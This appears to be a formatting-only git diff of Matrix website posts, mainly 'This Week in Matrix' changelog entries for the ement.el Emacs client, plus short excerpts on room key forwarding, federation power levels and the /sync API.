> * Notifications buffer restores properly when bookmarked.
|
||||
> * Command `ement-room-send-reaction` checks for an event at point. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Insertion of sender headers (when using "Elemental" message format). (Refactoring contributed by [Steven Allen](https://github.com/Stebalien).)
|
||||
> * Some room event data was being unintentionally serialized to disk when caching the room list visibility state. ([#256](https://github.com/alphapapa/ement.el/issues/256))
|
||||
> * Notifications buffer restores properly when bookmarked.
|
||||
> * Command `ement-room-send-reaction` checks for an event at point. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
>
|
||||
> Feel free to join us in the chat room: [#ement.el:matrix.org](https://matrix.to/#/#ement.el:matrix.org)!
|
||||
|
||||
|
|
|
|||
|
|
@ -134,71 +134,71 @@ Matrix client for Emacs
|
|||
>
|
||||
> **Additions**
|
||||
>
|
||||
> * **Configurable emoji picker for sending reactions. ([#199](https://github.com/alphapapa/ement.el/issues/199), [#201](https://github.com/alphapapa/ement.el/pull/201). Thanks to [Omar Antolín Camarena](https://github.com/oantolin).):**
|
||||
> - Option `ement-room-reaction-picker` sets the default picker. Within that, the user may press `C-g` to choose a different one with a key bound in `ement-room-reaction-map`.
|
||||
> * **Configurable emoji picker for sending reactions. ([#199](https://github.com/alphapapa/ement.el/issues/199), [#201](https://github.com/alphapapa/ement.el/pull/201). Thanks to [Omar Antolín Camarena](https://github.com/oantolin).):**
|
||||
> - Option `ement-room-reaction-picker` sets the default picker. Within that, the user may press `C-g` to choose a different one with a key bound in `ement-room-reaction-map`.
|
||||
>
|
||||
> * **A variety of enhancements for using compose buffers. ([#140](https://github.com/alphapapa/ement.el/issues/140). Thanks to [Phil Sainty](https://github.com/phil-s).):** Chiefly, messages can now be composed in small windows below room windows, rather than in the minibuffer or a full-sized window. A variety of options and commands are available related to these features. See [compose buffer enhancements](#compose-buffer-enhancements).
|
||||
> * **A variety of enhancements for using compose buffers. ([#140](https://github.com/alphapapa/ement.el/issues/140). Thanks to [Phil Sainty](https://github.com/phil-s).):** Chiefly, messages can now be composed in small windows below room windows, rather than in the minibuffer or a full-sized window. A variety of options and commands are available related to these features. See [compose buffer enhancements](#compose-buffer-enhancements).
|
||||
>
|
||||
> * **Global minor mode `ement-room-self-insert-mode` enables "just typing" to start a message. (Thanks to [Phil Sainty](https://github.com/phil-s).):** See ement-room-self-insert-mode section.
|
||||
> * **Global minor mode `ement-room-self-insert-mode` enables "just typing" to start a message. (Thanks to [Phil Sainty](https://github.com/phil-s).):** See ement-room-self-insert-mode section.
|
||||
>
|
||||
> * **Options affecting how images are displayed in room buffers.:** See image display section.
|
||||
> * **Options affecting how images are displayed in room buffers.:** See image display section.
|
||||
>
|
||||
> **Changes**
|
||||
>
|
||||
> * Improve prompt used when viewing a room that is not joined. ([#241](https://github.com/alphapapa/ement.el/issues/241). Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Format "was kicked and rejoined" membership event pairs.
|
||||
> * Enclose reasons for membership events in quotes for clarity.
|
||||
> * Improve default room list grouping.
|
||||
> * When editing or replying to a message in a compose buffer, the related room event is highlighted persistently until the compose buffer is killed. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * In compose buffers `dabbrev` will prioritise firstly the associated room, and secondly all other rooms, before looking to other buffers for completions. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Aborted messages are now added to `ement-room-message-history` rather than the kill-ring. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Prefix bindings in `ement-room-mode-map` now have named labels in `which-key` and similar. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Option: `ement-room-use-variable-pitch` (previously named `ement-room-shr-use-fonts`) enables variable-pitch fonts for all message types. (This option previously supported formatted messages, but now works for plain text messages as well.) Note: users who have customized the `ement-room-message-text` face to be variable-pitch should revert that change, as it causes problems for formatted messages, and is no longer necessary. ([#174](https://github.com/alphapapa/ement.el/issues/174). Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Improve prompt used when viewing a room that is not joined. ([#241](https://github.com/alphapapa/ement.el/issues/241). Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Format "was kicked and rejoined" membership event pairs.
|
||||
> * Enclose reasons for membership events in quotes for clarity.
|
||||
> * Improve default room list grouping.
|
||||
> * When editing or replying to a message in a compose buffer, the related room event is highlighted persistently until the compose buffer is killed. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * In compose buffers `dabbrev` will prioritise firstly the associated room, and secondly all other rooms, before looking to other buffers for completions. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Aborted messages are now added to `ement-room-message-history` rather than the kill-ring. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Prefix bindings in `ement-room-mode-map` now have named labels in `which-key` and similar. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Option: `ement-room-use-variable-pitch` (previously named `ement-room-shr-use-fonts`) enables variable-pitch fonts for all message types. (This option previously supported formatted messages, but now works for plain text messages as well.) Note: users who have customized the `ement-room-message-text` face to be variable-pitch should revert that change, as it causes problems for formatted messages, and is no longer necessary. ([#174](https://github.com/alphapapa/ement.el/issues/174). Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
>
|
||||
> **Fixes**
|
||||
>
|
||||
> * Edits to previous edit events are correctly sent to the server as edits to the original message event. ([#230](https://github.com/alphapapa/ement.el/issues/230). Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Completion at point works more reliably in compose buffers. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Toggling images to fill the window body no longer triggers unintended scrolling. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Recognition of mentions after a newline. ([#267](https://github.com/alphapapa/ement.el/issues/267). Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Newlines in `ement-room-message-format-spec` are considered when calculating the wrap-prefix. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Weight of face `ement-room-list-direct` (now correctly bold in room list heading).
|
||||
> * Edits to previous edit events are correctly sent to the server as edits to the original message event. ([#230](https://github.com/alphapapa/ement.el/issues/230). Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Completion at point works more reliably in compose buffers. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Toggling images to fill the window body no longer triggers unintended scrolling. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Recognition of mentions after a newline. ([#267](https://github.com/alphapapa/ement.el/issues/267). Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Newlines in `ement-room-message-format-spec` are considered when calculating the wrap-prefix. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Weight of face `ement-room-list-direct` (now correctly bold in room list heading).
|
||||
>
|
||||
> ### Compose buffer enhancements
|
||||
>
|
||||
> * Option `ement-room-compose-buffer-display-action` declares how and where a new compose buffer window should be displayed. (By default, in a new window below the associated room buffer.)
|
||||
> * Option `ement-room-compose-buffer-window-dedicated` determines whether compose buffers will have dedicated windows.
|
||||
> * Option `ement-room-compose-buffer-window-auto-height` causes dynamic scaling of the compose buffer window height so that the full message is visible at all times.
|
||||
> * Option `ement-room-compose-buffer-window-auto-height-min` specifies the minimum window height when `ement-room-compose-buffer-window-auto-height` is enabled.
|
||||
> * Option `ement-room-compose-buffer-window-auto-height-max` specifies the maximum window height when `ement-room-compose-buffer-window-auto-height` is enabled.
|
||||
> * Option `ement-room-compose-method` chooses between minibuffer-centric or compose-buffer-centric behaviour.
|
||||
> * Command `ement-room-dispatch-new-message` starts writing a new message using your chosen `ement-room-compose-method`. (Bound to `RET` in room buffers.)
|
||||
> * Command `ement-room-dispatch-new-message-alt` starts writing a new message using the alternative method. (Bound to `M-RET` in room buffers.)
|
||||
> * Command `ement-room-dispatch-edit-message` edits a message using your chosen `ement-room-compose-method`. (Bound to `<insert>` in room buffers.)
|
||||
> * Command `ement-room-dispatch-reply-to-message` replies to a message using your chosen `ement-room-compose-method`. (Bound to `S-<return>` in room buffers.)
|
||||
> * Command `ement-room-compose-edit` edits a message using a compose buffer.
|
||||
> * Command `ement-room-compose-reply` replies to a message using a compose buffer.
|
||||
> * Command `ement-room-compose-send-direct` sends a message directly from a compose buffer (without the minibuffer). (Bound to `C-x C-s` in compose buffers.)
|
||||
> * Command `ement-room-compose-abort` kills the compose buffer and delete its window. (Bound to `C-c C-k` in compose buffers.)
|
||||
> * Command `ement-room-compose-abort-no-history` does the same without adding to `ement-room-message-history`. (Equivalent to `C-u C-c C-k`.)
|
||||
> * Command `ement-room-compose-history-prev-message` cycles backwards through `ement-room-message-history`. (Bound to `M-p` in compose buffers.)
|
||||
> * Command `ement-room-compose-history-next-message` cycles forwards through `ement-room-message-history`. (Bound to `M-n` in compose buffers.)
|
||||
> * Command `ement-room-compose-history-isearch-backward` initiates an isearch through `ement-room-message-history`. (Bound to `M-r` in compose buffers; continue searching with `C-r` or `C-s`.)
|
||||
> * Command `ement-room-compose-history-isearch-backward-regexp` initiates a regexp isearch through `ement-room-message-history`. (Bound to `C-M-r` in compose buffers; continue searching with `C-r` or `C-s`.)
|
||||
> * Option `ement-room-compose-buffer-display-action` declares how and where a new compose buffer window should be displayed. (By default, in a new window below the associated room buffer.)
|
||||
> * Option `ement-room-compose-buffer-window-dedicated` determines whether compose buffers will have dedicated windows.
|
||||
> * Option `ement-room-compose-buffer-window-auto-height` causes dynamic scaling of the compose buffer window height so that the full message is visible at all times.
|
||||
> * Option `ement-room-compose-buffer-window-auto-height-min` specifies the minimum window height when `ement-room-compose-buffer-window-auto-height` is enabled.
|
||||
> * Option `ement-room-compose-buffer-window-auto-height-max` specifies the maximum window height when `ement-room-compose-buffer-window-auto-height` is enabled.
|
||||
> * Option `ement-room-compose-method` chooses between minibuffer-centric or compose-buffer-centric behaviour.
|
||||
> * Command `ement-room-dispatch-new-message` starts writing a new message using your chosen `ement-room-compose-method`. (Bound to `RET` in room buffers.)
|
||||
> * Command `ement-room-dispatch-new-message-alt` starts writing a new message using the alternative method. (Bound to `M-RET` in room buffers.)
|
||||
> * Command `ement-room-dispatch-edit-message` edits a message using your chosen `ement-room-compose-method`. (Bound to `<insert>` in room buffers.)
|
||||
> * Command `ement-room-dispatch-reply-to-message` replies to a message using your chosen `ement-room-compose-method`. (Bound to `S-<return>` in room buffers.)
|
||||
> * Command `ement-room-compose-edit` edits a message using a compose buffer.
|
||||
> * Command `ement-room-compose-reply` replies to a message using a compose buffer.
|
||||
> * Command `ement-room-compose-send-direct` sends a message directly from a compose buffer (without the minibuffer). (Bound to `C-x C-s` in compose buffers.)
|
||||
> * Command `ement-room-compose-abort` kills the compose buffer and delete its window. (Bound to `C-c C-k` in compose buffers.)
|
||||
> * Command `ement-room-compose-abort-no-history` does the same without adding to `ement-room-message-history`. (Equivalent to `C-u C-c C-k`.)
|
||||
> * Command `ement-room-compose-history-prev-message` cycles backwards through `ement-room-message-history`. (Bound to `M-p` in compose buffers.)
|
||||
> * Command `ement-room-compose-history-next-message` cycles forwards through `ement-room-message-history`. (Bound to `M-n` in compose buffers.)
|
||||
> * Command `ement-room-compose-history-isearch-backward` initiates an isearch through `ement-room-message-history`. (Bound to `M-r` in compose buffers; continue searching with `C-r` or `C-s`.)
|
||||
> * Command `ement-room-compose-history-isearch-backward-regexp` initiates a regexp isearch through `ement-room-message-history`. (Bound to `C-M-r` in compose buffers; continue searching with `C-r` or `C-s`.)
|
||||
>
|
||||
>
|
||||
> ### ement-room-self-insert-mode
|
||||
>
|
||||
> * Option `ement-room-self-insert-commands` determines which commands will start a new message when `ement-room-self-insert-mode` is enabled (defaulting to `self-insert-command` and `yank`).
|
||||
> * Option `ement-room-self-insert-chars` determines which typed characters will start a new message when `ement-room-self-insert-mode` is enabled (regardless of whether they are bound to `self-insert-command`).
|
||||
> * Option `ement-room-mode-map-prefix-key` defines a prefix key for accessing the full `ement-room-mode-map` when `ement-room-self-insert-mode` is enabled. (By default this key is `DEL`.)
|
||||
> * Option `ement-room-self-insert-commands` determines which commands will start a new message when `ement-room-self-insert-mode` is enabled (defaulting to `self-insert-command` and `yank`).
|
||||
> * Option `ement-room-self-insert-chars` determines which typed characters will start a new message when `ement-room-self-insert-mode` is enabled (regardless of whether they are bound to `self-insert-command`).
|
||||
> * Option `ement-room-mode-map-prefix-key` defines a prefix key for accessing the full `ement-room-mode-map` when `ement-room-self-insert-mode` is enabled. (By default this key is `DEL`.)
|
||||
>
|
||||
> ### Image display
|
||||
>
|
||||
> * Option `ement-room-image-margin` is the number of pixels of margin around image thumbnails.
|
||||
> * Option `ement-room-image-relief` is the number of pixels of shadow rectangle around image thumbnails.
|
||||
> * Option `ement-room-image-thumbnail-height` is the window body height multiple to use when toggling full-sized images to thumbnails (by default, 0.2).
|
||||
> * Option `ement-room-image-thumbnail-height-min` is the minimum pixel height for thumbnail images (by default, 30 pixels).
|
||||
> * Option `ement-room-image-margin` is the number of pixels of margin around image thumbnails.
|
||||
> * Option `ement-room-image-relief` is the number of pixels of shadow rectangle around image thumbnails.
|
||||
> * Option `ement-room-image-thumbnail-height` is the window body height multiple to use when toggling full-sized images to thumbnails (by default, 0.2).
|
||||
> * Option `ement-room-image-thumbnail-height-min` is the minimum pixel height for thumbnail images (by default, 30 pixels).
|
||||
>
|
||||
> Feel free to join us in the chat room: [#ement.el:matrix.org](https://matrix.to/#/#ement.el:matrix.org)!
|
||||
|
||||
|
|
|
|||
|
|
@ -124,25 +124,25 @@ Matrix client for Emacs
|
|||
>
|
||||
> **Compatibility**
|
||||
>
|
||||
> - Use authenticated media requests (part of Matrix 1.11; see [MSC3916](https://github.com/matrix-org/matrix-spec-proposals/pull/3916) and [matrix.org's sunsetting unauthenticated media](https://matrix.org/blog/2024/06/26/sunsetting-unauthenticated-media/)).
|
||||
> - Use authenticated media requests (part of Matrix 1.11; see [MSC3916](https://github.com/matrix-org/matrix-spec-proposals/pull/3916) and [matrix.org's sunsetting unauthenticated media](https://matrix.org/blog/2024/06/26/sunsetting-unauthenticated-media/)).
|
||||
>
|
||||
> **Additions**
|
||||
>
|
||||
> - When option `ement-room-images` is disabled (preventing automatic download and display of images), individual images may be shown by clicking the button in their events.
|
||||
> - When option `ement-room-images` is disabled (preventing automatic download and display of images), individual images may be shown by clicking the button in their events.
|
||||
>
|
||||
> **Changes**
|
||||
>
|
||||
> - Option `ement-room-coalesce-events` may now be set to (and defaults to) a maximum number of events to coalesce together. (This avoids potential performance problems in rare cases. See [#247](https://github.com/alphapapa/ement.el/issues/247). Thanks to [Arto Jantunen](https://github.com/viiru-) for reporting and [Sergio Durigan Junior](https://github.com/sergiodj) for testing.)
|
||||
> - Option `ement-room-coalesce-events` may now be set to (and defaults to) a maximum number of events to coalesce together. (This avoids potential performance problems in rare cases. See [#247](https://github.com/alphapapa/ement.el/issues/247). Thanks to [Arto Jantunen](https://github.com/viiru-) for reporting and [Sergio Durigan Junior](https://github.com/sergiodj) for testing.)
|
||||
>
|
||||
> **Fixes**
|
||||
>
|
||||
> - Replies to edited messages are correctly sent to the original event (whereas previously they were sent to the edit, which caused reactions to not be shown). ([#230](https://github.com/alphapapa/ement.el/issues/230), [#277](https://github.com/alphapapa/ement.el/issues/277). Thanks to [Phil Sainty](https://github.com/phil-s) for suggesting, and to [dionisos](https://github.com/dionisos2) for reporting.)
|
||||
> - Set `filter-buffer-substring-function` in room buffers to prevent undesired text properties from being included in copied text. ([#278](https://github.com/alphapapa/ement.el/pull/278). Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> - Command `ement-disconnect` no longer shows an error message. ([#208](https://github.com/alphapapa/ement.el/issues/208).)
|
||||
> - Retrieval of earlier events in a just-joined room. ([#148](https://github.com/alphapapa/ement.el/issues/148). Thanks to [Richard Brežák](https://github.com/MagicRB) for reporting, and to [Phil Sainty](https://github.com/phil-s) for testing.)
|
||||
> - Cache computed displaynames in rooms (avoiding unnecessary reiteration and recalculation). ([#298](https://github.com/alphapapa/ement.el/issues/298). Thanks to [Rutherther](https://github.com/Rutherther) for reporting and testing, and to [Phil Sainty](https://github.com/phil-s).)
|
||||
> - Customization group for options `ement-room-mode-hook` and `ement-room-self-insert-mode`. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> - Inheritance for some faces. ([#303](https://github.com/alphapapa/ement.el/pull/303). Thanks to [Jonas Bernoulli](https://github.com/tarsius).)
|
||||
> - Replies to edited messages are correctly sent to the original event (whereas previously they were sent to the edit, which caused reactions to not be shown). ([#230](https://github.com/alphapapa/ement.el/issues/230), [#277](https://github.com/alphapapa/ement.el/issues/277). Thanks to [Phil Sainty](https://github.com/phil-s) for suggesting, and to [dionisos](https://github.com/dionisos2) for reporting.)
|
||||
> - Set `filter-buffer-substring-function` in room buffers to prevent undesired text properties from being included in copied text. ([#278](https://github.com/alphapapa/ement.el/pull/278). Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> - Command `ement-disconnect` no longer shows an error message. ([#208](https://github.com/alphapapa/ement.el/issues/208).)
|
||||
> - Retrieval of earlier events in a just-joined room. ([#148](https://github.com/alphapapa/ement.el/issues/148). Thanks to [Richard Brežák](https://github.com/MagicRB) for reporting, and to [Phil Sainty](https://github.com/phil-s) for testing.)
|
||||
> - Cache computed displaynames in rooms (avoiding unnecessary reiteration and recalculation). ([#298](https://github.com/alphapapa/ement.el/issues/298). Thanks to [Rutherther](https://github.com/Rutherther) for reporting and testing, and to [Phil Sainty](https://github.com/phil-s).)
|
||||
> - Customization group for options `ement-room-mode-hook` and `ement-room-self-insert-mode`. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> - Inheritance for some faces. ([#303](https://github.com/alphapapa/ement.el/pull/303). Thanks to [Jonas Bernoulli](https://github.com/tarsius).)
|
||||
>
|
||||
> Feel free to join us in the chat room: [#ement.el:matrix.org](https://matrix.to/#/#ement.el:matrix.org)!
|
||||
|
||||
|
|
|
|||
|
|
@ -61,8 +61,8 @@ The Website and Content WG has a Meta update for TWIM this week.
|
|||
>
|
||||
> For you, this means 2 things when submitting:
|
||||
>
|
||||
> - We now got intentional mentions support. If your client supports intentional mentions, you can now use it to ping `@this-week-in:matrix.org` when submitting news. If you have no support for intentional mentions, make sure your message starts with `TWIM:`.
|
||||
> - We finally got the double TWIM user cleaned up. This should fix confusion we had for a while about which user to ping.
|
||||
> - We now got intentional mentions support. If your client supports intentional mentions, you can now use it to ping `@this-week-in:matrix.org` when submitting news. If you have no support for intentional mentions, make sure your message starts with `TWIM:`.
|
||||
> - We finally got the double TWIM user cleaned up. This should fix confusion we had for a while about which user to ping.
|
||||
>
|
||||
> You can find the new room at the same location as before [#twim:matrix.org](https://matrix.to/#/#twim:matrix.org)
|
||||
|
||||
|
|
@ -159,20 +159,20 @@ Matrix client for Emacs.
|
|||
>
|
||||
> **Additions**
|
||||
>
|
||||
> - Command `ement-room-download-file`, which downloads the file in the event at point (for image, audio, video, and file messages). ([#323](https://github.com/alphapapa/ement.el/pull/323). Thanks to [Arto Jantunen](https://github.com/viiru-).)
|
||||
> - Customization groups for faces. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> - Option `ement-room-hide-redacted-message-content`, which hides the content of redacted messages by default. It may be disabled to keep redacted content visible with a strikethrough face, which may be useful for room moderators, but users should keep in mind that doing so will leave unpleasant content visible in the current session, even after being redacted by moderators.
|
||||
> - Option `ement-room-list-avatar-generation`: if disabled, SVG-based room avatars are not generated. This option automatically tests whether SVG support is available in Emacs, and should allow use with builds of Emacs that lack `librsvg` support.
|
||||
> - Command `ement-room-download-file`, which downloads the file in the event at point (for image, audio, video, and file messages). ([#323](https://github.com/alphapapa/ement.el/pull/323). Thanks to [Arto Jantunen](https://github.com/viiru-).)
|
||||
> - Customization groups for faces. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> - Option `ement-room-hide-redacted-message-content`, which hides the content of redacted messages by default. It may be disabled to keep redacted content visible with a strikethrough face, which may be useful for room moderators, but users should keep in mind that doing so will leave unpleasant content visible in the current session, even after being redacted by moderators.
|
||||
> - Option `ement-room-list-avatar-generation`: if disabled, SVG-based room avatars are not generated. This option automatically tests whether SVG support is available in Emacs, and should allow use with builds of Emacs that lack `librsvg` support.
|
||||
>
|
||||
> **Changes**
|
||||
>
|
||||
> - Disable underline for faces `ement-room-list-direct` and `ement-room-list-name` (in case a face they inherit from enables it, e.g. when themed).
|
||||
> - Disable underline for faces `ement-room-list-direct` and `ement-room-list-name` (in case a face they inherit from enables it, e.g. when themed).
|
||||
>
|
||||
> **Fixes**
|
||||
>
|
||||
> - Call `eww-browse-url` instead of `browse-url` in `ement-room-browse-mxc` (because the latter is not useful for authenticated media if the user has configured it to use a different browser). ([#323](https://github.com/alphapapa/ement.el/pull/323). Thanks to [Arto Jantunen](https://github.com/viiru-).)
|
||||
> - Workaround change in `magit-section` that broke fontification in room-list and directory buffers. (See [#331](https://github.com/alphapapa/ement.el/issues/331).)
|
||||
> - Handle non-symbol commands in `command-history`. ([#330](https://github.com/alphapapa/ement.el/issues/330). Thanks to [Alex Bennée](https://github.com/stsquad) for reporting.)
|
||||
> - Call `eww-browse-url` instead of `browse-url` in `ement-room-browse-mxc` (because the latter is not useful for authenticated media if the user has configured it to use a different browser). ([#323](https://github.com/alphapapa/ement.el/pull/323). Thanks to [Arto Jantunen](https://github.com/viiru-).)
|
||||
> - Workaround change in `magit-section` that broke fontification in room-list and directory buffers. (See [#331](https://github.com/alphapapa/ement.el/issues/331).)
|
||||
> - Handle non-symbol commands in `command-history`. ([#330](https://github.com/alphapapa/ement.el/issues/330). Thanks to [Alex Bennée](https://github.com/stsquad) for reporting.)
|
||||
>
|
||||
>
|
||||
>
|
||||
|
|
|
|||
|
|
@ -519,9 +519,9 @@ The `forwarded_room_key` property starts out empty, but each time a key is
|
|||
forwarded to another device, the previous sender in the chain is added to the
|
||||
end of the list. Consider the following example:
|
||||
|
||||
> - A -\> B : m.room\_key
|
||||
> - B -\> C : m.forwarded\_room\_key
|
||||
> - C -\> D : m.forwarded\_room\_key
|
||||
> - A -\> B : m.room\_key
|
||||
> - B -\> C : m.forwarded\_room\_key
|
||||
> - C -\> D : m.forwarded\_room\_key
|
||||
|
||||
In the message B -\> C `forwarded_room_key` is empty, but in the message C -\> D
|
||||
it contains B's Curve25519 key. In order for D to believe that the session came
|
||||
|
|
|
|||
|
|
@ -122,8 +122,7 @@ ask Alice's `example.com` a local copy of the room, and stay in sync with it.
|
|||
caption="Bob joins the room and automatically gets Power Level 0")
|
||||
}}
|
||||
|
||||
If Carol joins from her homeserver `ergaster.org`, she will also get the power level
|
||||
0.
|
||||
If Carol joins from her homeserver `ergaster.org`, she will also get the power level 0.
|
||||
|
||||
{{ figure(
|
||||
img="./room_federated.svg",
|
||||
|
|
|
|||
|
|
@ -51,12 +51,12 @@ The return value takes a different structure to that from the previous
|
|||
`/initialSync` API. For full details see the API documentation, but the
|
||||
following summary may be useful to compare with `v1`:
|
||||
|
||||
> - `/initialSync` returned a `state` key containing the most recent
|
||||
> - `/initialSync` returned a `state` key containing the most recent
|
||||
> state in the room, whereas the new `/sync` API's `state`
|
||||
> corresponds to the room state at the start of the returned
|
||||
> timeline. This makes it easier for clients to represent state
|
||||
> changes that occur within the region of returned timeline.
|
||||
> - In `/events`, if more events occurred since the `since` token than
|
||||
> - In `/events`, if more events occurred since the `since` token than
|
||||
> the `limit` parameter allowed, then events from the start of this
|
||||
> range were returned and the client had to perform another fetch to
|
||||
> incrementally obtain more of them. In the `/sync` API the result
|
||||
|
|
@ -64,7 +64,7 @@ following summary may be useful to compare with `v1`:
|
|||
> would be more events than the requested limit. If this occurs then
|
||||
> the client can use the `prev_batch` token as a reference to
|
||||
> obtaining more.
|
||||
> - The `state` contained in the response to a `/sync` request that
|
||||
> - The `state` contained in the response to a `/sync` request that
|
||||
> has a `since` parameter will contain only keys that have changed
|
||||
> since the basis given in the `since` parameter, rather than
|
||||
> containing a full set values.
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue